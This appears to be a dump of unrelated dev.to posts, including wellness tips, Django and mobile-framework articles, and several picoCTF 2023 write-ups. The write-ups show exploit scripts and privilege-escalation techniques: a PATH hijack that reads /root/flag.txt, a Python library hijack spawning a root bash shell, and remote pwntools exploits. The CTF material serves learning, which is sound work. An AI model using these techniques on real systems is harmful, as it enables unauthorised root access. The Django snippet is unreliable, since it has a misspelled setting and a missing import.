teleren/devto huggingface dataset:
The Science of Happiness: How to Boost Your Mood and Live Your Best Life
Tags: happiness, gratitude, selfcare, mindfulness
Published: 2023-04-01 11:16:35

#### **Introduction:**
Have you ever wondered what it takes to be truly happy? Despite the challenges and stressors that life can throw our way, it is possible to cultivate happiness and live a fulfilling life. In this blog post, we will explore the science of happiness and share some practical tips and strategies for boosting your mood and living your best life.

**1. Practice gratitude**
Research shows that practicing gratitude can increase feelings of happiness and well-being. Take time each day to reflect on the things you are grateful for, such as a supportive friend or family member, a comfortable home, or a delicious meal. Keeping a gratitude journal can also be a helpful tool for cultivating a positive mindset.

**2. Connect with others**
Human connection is essential for our mental health and well-being. Make time to connect with friends and loved ones, whether it's through a phone call, text message, or in-person visit. Joining clubs or groups related to your interests can also be a great way to meet new people and build meaningful connections.

**3. Engage in physical activity**
Exercise has been shown to boost mood and reduce symptoms of depression and anxiety. Find an activity that you enjoy, such as walking, dancing, or yoga, and make it a regular part of your routine. Even a short walk or stretching session can have a positive impact on your mood and energy levels.

**4. Practice mindfulness**
Mindfulness is the practice of being present in the moment, without judgment or distraction. It can help reduce stress and increase feelings of calm and relaxation. Try practicing mindfulness through activities such as meditation, deep breathing, or simply taking a few moments to notice your surroundings and tune into your senses.

**5. Pursue your passions**
Engaging in activities that bring you joy and fulfillment can also boost your mood and overall well-being. Whether it's painting, gardening, or playing music, make time for the things that light you up and bring you a sense of purpose and meaning.

#### **Conclusion:**
Happiness is not something that can be achieved overnight, but by incorporating these simple strategies into your daily routine, you can cultivate a happier, more fulfilling life. Remember to be kind to yourself and celebrate your progress along the way. With time and practice, you can boost your mood and live your best life.
FindAndOpen PicoCTF 2023
Tags: cybersecurity, beginners, tutorial, picoctf
Published: 2023-04-01 11:14:34

# FindAndOpen

**200 points**

AUTHOR: MUBARAK MIKAIL

Description
Someone might have hidden the password in the trace file.
Find the key to unlock [this file]. This [tracefile] might be good to analyze.

___

This was a kinda random challenge, using `strings` on the `.pcap` file I got a lot of random stuff but in between it there were a could of messages of interest:

```
Flying on Ethernet secret: Is this the flag
iBwaWNvQ1RGe1Could the flag have been splitted?
AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
PBwaWUvQ1RGe1Maybe try checking the other file
```

Well basically I thought that the string:

`AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=`

was a base64 string but decoding it seperatly got nothing, and well if the file said: "Could the flag have been splitted?" I tried arranging:

```
iBwaWNvQ1RGe1, AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8= and PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
```

One after another to get something.

When I decoded the string: `iBwaWNvQ1RGe1PBwaWUvQ1RGe1AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=` in cyberchef I got the output:

```
...(garbage)This is the secret: picoCTF{R34DING_LOKd_
```

Well using it as the password to unlock the zip revealed a file which had the flag:

> picoCTF{your flag}
SRA PicoCTF 2023
Tags: cybersecurity, picoctf, beginners, tutorial
Published: 2023-04-01 11:00:50

## SRA

**400 points**

AUTHOR: F0XTR0T

Description
I just recently learnt about the SRA public key cryptosystem... or wait, was it supposed to be RSA? Hmmm, I should probably check...
Connect to the program on our server: your port

#Requirements

```c
sudo apt install sagemath
sage-python -m pip install pwn
sage-python -m pip install pycryptodome
```
the script below will do it smoothly and it is important to remember to enter port number for your instance
```c
from sage.all import *
from pwn import *
from gmpy2 import is_prime
from string import ascii_letters, digits
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse

r = remote('saturn.picoctf.net', your port)

def is_printable(text):
    alphabet = ascii_letters + digits
    for i in text:
        if i not in alphabet:
            return False
    return True

e = 65537
r.recvuntil(b'anger = ')
c = int(r.recvline().strip().decode())
r.recvuntil(b'envy = ')
d = int(r.recvline().strip().decode())
r.recvline()
print(c)
print(d)

K = divisors(d*e - 1)
print("Done")

list_prime = []
for k in K:
    pp = ((d*e - 1)//k) + 1

    if is_prime(pp) and int(pp).bit_length() == 128:
        list_prime.append(pp)

list_text = []
for p in list_prime:
    for q in list_prime:
        try:
            if inverse(e, (p - 1) * (q - 1)) == d:
                n = p*q
                list_text.append(long_to_bytes(int(pow(c, d, n))))
        except:
            pass


list_text = set(list_text)

for text in list_text:
    try:
        text = text.decode()
        if is_printable(text):
            print(text)
            r.recvuntil(b'> ')
            r.sendline(text.encode())
            print(r.recvline())
            print(r.recvline())
            print(r.recvline())
            break
    except:
        continue
r.close()

```
How to view a django project across other devices from your local computer
Tags: django, python
Published: 2023-04-01 10:54:36

By default, django projects are run on the localhost which cannot be accessed from other devices. In this tutorial, I will show you how to do that as quickly as possible.

Go to your project's settings.py file and set `ALLOWED_HOSTS = ["your_ip_address"]`

It should look like this.
```
# settings py

ALLOWED_HOST = ["192.167.333.54"] # better
CSRF_TRUSTED_ORIGINS = ["http://192.167.333.54"]
```

After that, go to your command prompt on Windows or terminal on Linux and start the server in this manner.

```
# Terminal

$ python manage.py runserver 0.0.0.0:8000
```

You can now see your django website when you go to that ipaddress on the client's computer.

Note that the computer to access the site must be connected to your network for it to work.

**Making it dynamic**

Whenever you start a new internet connection, your ip address changes and so you have to keep going to settings.py file to change the `ALLOWED_HOST` and `CSRF_TRUSTED_ORIGINS`. Here, I'll make it dynamic so that once your ip address changes, it is automatically updated in settings.py.

To begin, create a file named ip_address.py in your project's folder. Inside it, add the following code.

```
# ip_address.py

import socket

def get_ip_address():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        return s.getsockname()[0]
    except OSError:
        return socket.gethostbyname(socket.gethostname())
```

In your settings.py, add this code

```
# settings.py

from .ip_address import get_ip_address

ALLOWED_HOSTS = [get_ip_address()]
CSRF_TRUSTED_ORIGINS = [f"http://{get_ip_address()}"]

sys.stdout.write(f"http://{get_ip_address()}\n") # get the ip address from the command line.

```
Rotation PicoCTF 2023
Tags: cybersecurity, picoctf, beginners, tutorial
Published: 2023-04-01 10:47:55

# rotation

**100 points**

AUTHOR: LOIC SHEMA

Description
You will find the flag after decrypting this file
Download the encrypted flag [here].

___

Simple rotation cipher, brute-forcing works fine:

> picoCTF{your flag}
Hidetosee PicoCTF 2023
Tags: cybersecurity, beginners, picoct, tutorial
Published: 2023-04-01 10:33:26

# HideToSee

**100 points**

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about some hide and seek heh?
Look at this image [here]

___



Just put the file into [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html)

and it will magically give you the flag in `atbash` decode it with `decode.fr` and get the flag.

This challenge was `guess the website we did to extract the flag` and this was branded as a cryptography challenge. So misleading.


> picoCTF{your flag}
Babygame2 PicoCTF 2023
Tags: cybersecurity, beginners, tutorial, picoctf
Published: 2023-04-01 10:28:07

## babygame01

**100 points**

AUTHOR: PALASH OSWAL

Description
Break the game and get the flag.
Welcome to BabyGame 02! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map. You can connect with it using your port.


I enjoyed solving this challenge because it was very hard, and I needed to become even harder to solve it.


## Time to solve

using the script below you can get the flag and it is just that
```c
from pwn import *
p = remote('saturn.picoctf.net', your port number)
p.sendlineafter(b'\n', b'l\x61')
p.sendlineafter(b'\n', b'd'*47)
p.sendlineafter(b'\n', b'w'*5)
p.interactive()
```
> picoCTF{your flag}
Animation -20 : Spinning Liquid in Box Loader
Tags: css, design, animation, webdev
Published: 2023-04-01 10:25:09

Free CSS Loading Animation for your website 

#### Spinning Liquid in Box Loader 

---

{% youtube 5cm3nnKTIfQ %}

 ---
### [Source code](https://democoding.netlify.app/loaders/spinning-liquid-in-box-loader)


---

## For more information
 

1. Subscribe my Youtube Channel 
[https://www.youtube.com/@democode](https://www.youtube.com/@democode) 

2. Check out my Fiver profile if you need any freelancing work
[https://www.fiverr.com/amit_sharma77](https://www.fiverr.com/amit_sharma77)

3. Follow me on Instagram
[https://www.instagram.com/fromgoodthings/](https://www.instagram.com/fromgoodthings/)

4. Check out my Facebook Page 
[Programming memes by Coder](https://www.facebook.com/programmingmemesbycoders)

5. Linktree
[https://linktr.ee/jonSnow77](https://linktr.ee/jonSnow77)

 
---
---

{% instagram CqUbm3fNzeB %}
I need your opinion!
Tags: indie, programming, opensource
Published: 2023-04-01 10:23:28

How many people do you think would be interested in an open-source, small-ish survival game with less focus on enemies and more focus on the environment. Effects such as sickness/colds, sunburns, not cooking food right and others would damage you instead of enemies being the major cause of damage. The health system would be through limbs, if your leg takes damage once you can't sprint, next you walk slower and lose stamina just by walking. If you hurt your arms you can't use axes/cut things up. Along with that the game would have mods, effecting the world, adding items/weapons, new mechanics or UI designs and elements.
Key Elements of a Successful Website Development Project
Published: 2023-04-01 10:11:47

A successful website development project requires careful planning and execution, with attention paid to a variety of different factors. As a web development team, we have worked on numerous website projects and have identified five key elements that are critical to their success:

**Clear Goals and Objectives**

Before starting any website development project, it is essential to define clear goals and objectives. This helps to ensure that everyone involved in the project is working towards the same vision and that the project stays on track. Goals and objectives should be specific, measurable, achievable, relevant, and time-bound (SMART). This will help to ensure that the project is completed on time, within budget, and to the required quality standards.

**User-Centered Design**

User-centered design is a critical element of a successful website development project. This involves designing the website with the user in mind, considering their needs, preferences, and behaviors. A user-centered design approach helps to create a website that is intuitive, easy to use, and engaging, leading to better user satisfaction and increased engagement.

**Responsive Design**

With the growing number of devices people use to access the internet, having a responsive design is essential. A responsive design means that the website is optimized for different screen sizes, from desktops to smartphones, ensuring that users have a consistent and enjoyable experience regardless of the device they are using.

**High-Quality Content**

A website's content is essential for engaging users and keeping them on the site. High-quality content that is informative, engaging, and relevant to the target audience can help to drive traffic to the website and keep users engaged. Content should be well-written, easy to read, and optimized for search engines to improve the website's ranking.

**Robust Testing and Maintenance**

A website development project is not complete once the website is launched. Ongoing testing and maintenance are critical to ensure that the website continues to function correctly and that any issues are identified and resolved promptly. Regular updates, security patches, and content updates are all essential to keep the website running smoothly.

In conclusion, a successful website development project requires a combination of clear goals and objectives, user-centered design, responsive design, high-quality content, and robust testing and maintenance. As a web development team, we prioritize these elements in all our projects to ensure that our clients' websites are successful and meet their business objectives.
VNE PicoCTF 2023
Tags: cybersecurity, picoct, tutorial, beginners
Published: 2023-04-01 10:07:43

# VNE

**200 points**

AUTHOR: JUNIAS BONOU

Description
We've got a binary that can list directories as root, try it out !!
Additional details will be available after launching your challenge instance.

*Note:* This challenge launches an instance on demand.

___

First the script expects us to have an environment variable set for SECRET_DIR.

There are two potential directories that have the same flag (I checked): 

```
/challenge
/root
```

I originally picked `/root`.

Running the program it gives returns:

```
Listing the content of /root as root:
flag.txt
```

Now the fun part, hint 2 tells us to "Find a way to add more instructions to the ls".

First I tried using alias --> nada,

I tried using function ls() --> nada.

And on and on, until I tried the following.

I made a script called `ls` using `cat >> ls` and typed the code:

```bash
#!/bin/bash

/bin/ls
/bin/cat /root/flag.txt
```

Then I made it executable with `chmod +x ls`.

Finally to trick the shell into running this version of `ls` instead of the builtin way we add the path to the current directory as the first directory that the shell will look for its commands with:

```bash
export PATH=/home/ctf-player/:$PATH
```

NOW, when running the script, it runs in the background the `ls` command and it looks at the PATH and sees a file called `ls` inside the first directory `/home/ctf-player` and executes its code with root privileges and we get the flag:

> picoCTF{your flag}
Two sum PicoCTF 2023
Tags: cybersecurity, picoctf, beginners, tutorial
Published: 2023-04-01 10:05:37

## two-sum

**100 points**

Description
Can you solve this?
What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1+ n2


*Note:* This challenge launches an instance on demand.

___

The program asks us to provide 2 integers that would satisfy the equation:

`n1 > n1 + n2 OR n2 > n1 + n2 `


we will not exit the program (unlike the first one) and in order to finally get the flag we need to ensure that `num1 > 0 || num2 > 0`.

We can overflow the sum with 2 positive integers to satisfy all the conditions, so entering: `1073741824, 1073741824` we can get the flag:

> picoCTF{your flag}
Flutter Vs React Native. Which one to choose in 2023?
Tags: reactnative, flutter, javascript, dart
Published: 2023-04-01 09:59:02


![React Native Vs Flutter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fjum85zszmk9t4upw4dm.png)

## ⚛️What is React Native?

![React](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fhq8vy8py0twft74tejo.png)

React Native is a framework that combines the best parts of native development with React to build user interfaces. Facebook developed React Native in 2015. It is an open-source framework that is based on JavaScript. 

It also provides a similar feature, using the same codebase to create cross-platform apps, thus eliminating the need to compile other technologies for creating mobile apps. Skype, Instagram, Uber Eats, etc., depends upon React Native for development. It lets you build mobile apps using only JavaScript. 

These mobile applications are downloadable on Google Play Store and Apple Store. React Native is similar to React (JavaScript Library). So if you are a react developer, then you will find react native an easy path.

_**Advantages of using React Native**_

- Uses JavaScript
- Can create apps for multiple platforms using a single codebase
- Understands the importance of code reusability and promotes it
- Growing and active community
- Helps in accelerating coding time

_**Disadvantages of using React Native**_

- Not native
- Does not provide innovative, out-of-the-box components
- Limited choices
- Abandoned libraries and packages
- UI can be hampered easily and needs to undergo vigorous UI testing
- Larger apps

## 🚀What is Flutter?

![Flutter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fvz2xvbl9hx97k3x8qb7.png)

Flutter is a cross-platform mobile app development framework developed by Google. It gives developers an easy way to build and deploy visually attractive, natively compiled applications for mobile (iOS, Android), web, and desktop, all using a single code base. Flutter is based on dart programming language.

A lot of big companies like Alibaba, Philips Hue, Hamilton, etc., choose Flutter for development. Moreover, Google frequently provides updates for Flutter, improving its performance with each update. 

Now that you know what the two frameworks are, look at some of the differences between the two.

**_Advantages of using Flutter_**

- Great UI
- Has a number of widgets
- Apps are faster
- Helps build web apps (Flutter 2)
- Well-structured documentation and community
- Helps replicate and create the same UI for different devices 

**_Disadvantages of using Flutter_**

- Not native
- Apps are larger
- Has a limited set of tools

## Conclusion

We really hope that this Flutter vs React Native article has given you some clarity and understanding about these two frameworks. 

Overall, after all the above research, we can conclude that Flutter is a great choice to save time and money on mobile app development.
Hijacking PicoCTF 2023
Tags: cybersecurity, picoctf, beginners, tutorial
Published: 2023-04-01 09:51:04

# hijacking

**200 points**

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.

*Note:* This challenge launches an instance on demand.

___

This challenge was solved by Kubana in my team.

So, google searching `using python for privilege escalation in linux` I got an [article](https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8) which detailed how to do just that (except the spawning shell part which I got from a youtube video).

Connecting to the server I checked what I can run with sudo with `sudo -l` and got:

```
User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
```

Cool we can run the script with sudo.

Now inside the script we have an import of `base64`, we could hijack a function used by this library.

I changed the code to just run the commands:

```python
hi = "hi"
out = base64.b64encode(hi.encode('utf-8')).decode('utf-8')

print(out)

```

We need to hijack the function `b64encode` specifically to get root, and we could do so by editing the original library `base64.py`.

The file was located inside `/usr/lib/python3.8/base64.py` so running `vim` on it, I could edit the file.

I imported `pty` and at the start of the function `b64encode`, I added the line:

```python
def b64encode(s, altchars=None):
    """Encode the bytes-like object s using Base64 and return a bytes object.

    Optional altchars should be a byte string of length 2 which specifies an
    alternative alphabet for the '+' and '/' characters.  This allows an
    application to e.g. generate url or filesystem safe Base64 strings.
    """
    pty.spawn('/bin/bash')
    
    #code...
```

Finally, we can run the file with `sudo /usr/bin/python3 /home/picoctf/.server.py` got me a root shell!

Going into the directory `/challenge` and catting the file gives the flag:

> picoCTF{your flag}
BabyGame01 PicoCTF 2023
Tags: cybersecurity, ctf, compitition, babygame01
Published: 2023-04-01 09:43:09

## babygame01

**100 points**

AUTHOR: PALASH OSWAL

Description
Get the flag and reach the exit.
Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download [here](https://github.com/LeonGurin/picoCTF-2023/blob/main/Binary%20Exploitation/babygame01/game). There is no source available, so you'll have to figure your way around the map. You can connect with it using the port they give you.

___

This challenge wasn't solved by me, but all the credits go to @laundry.

Bla bla the game is to get to a specific square in the game using `wasd` cool.

Let's look at the code itself using `IDA`.

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+1h] [ebp-AA5h]
  int v5[2]; // [esp+2h] [ebp-AA4h] BYREF
  char v6; // [esp+Ah] [ebp-A9Ch]
  char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF
  unsigned int v8; // [esp+A9Ah] [ebp-Ch]
  int *p_argc; // [esp+A9Eh] [ebp-8h]

  p_argc = &argc;
  v8 = __readgsdword(0x14u);
  init_player(v5);
  init_map(v7, v5);
  print_map(v7, v5);
  signal(2, sigint_handler);
  do
  {
    do
    {
      v4 = getchar(p_argc);
      move_player(v5, v4, v7);
      print_map(v7, v5);
    }
    while ( v5[0] != 29 );
  }
  while ( v5[1] != 89 );
  puts("You win!");
  if ( v6 )
  {
    puts("flage");
    win();
    fflush(stdout);
  }
  return 0;
}
```

To #win we need to make `v6` not zero.

Because it was placed super well above the varible `v7` I tried for ages to perfom a buffer overflow using the `getchar()` function itself, dud.

The relevant piece of code to solve this is in the `move_player` function.

```c
_BYTE *__cdecl move_player(_DWORD *a1, char a2, int a3)
{
  _BYTE *result; // eax

  if ( a2 == 108 )
    player_tile = getchar();
  if ( a2 == 112 )
    solve_round(a3, a1);
  *(_BYTE *)(a1[1] + a3 + 90 * *a1) = 46;
  switch ( a2 )
  {
    case 'w':
      --*a1;
      break;
    case 's':
      ++*a1;
      break;
    case 'a':
      --a1[1];
      break;
    case 'd':
      ++a1[1];
      break;
  }
  result = (_BYTE *)(a1[1] + a3 + 90 * *a1);
  *result = player_tile;
  return result;
}
```

2 secret commands are now shown to us:

* `l` -> used to assign `player_tile` a value from `getchar()`

* `p` -> solve the game.

 ## Now time to solve

## Before we begin remember to first try all move `wasd` so that you don't get existed in the game before finishing it.

* `w` and `a` using those two we can win move the player to `Player position: 0 0` and then using `a` move your player to go off map a till you see that the flag have changed from 0 to 46 or 64


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bhf37otl3okedhwqhb4b.jpeg)


Now you can move to the final position to win using `l` and then `p` to win and there you go your flag.

> picoCTF{your flag}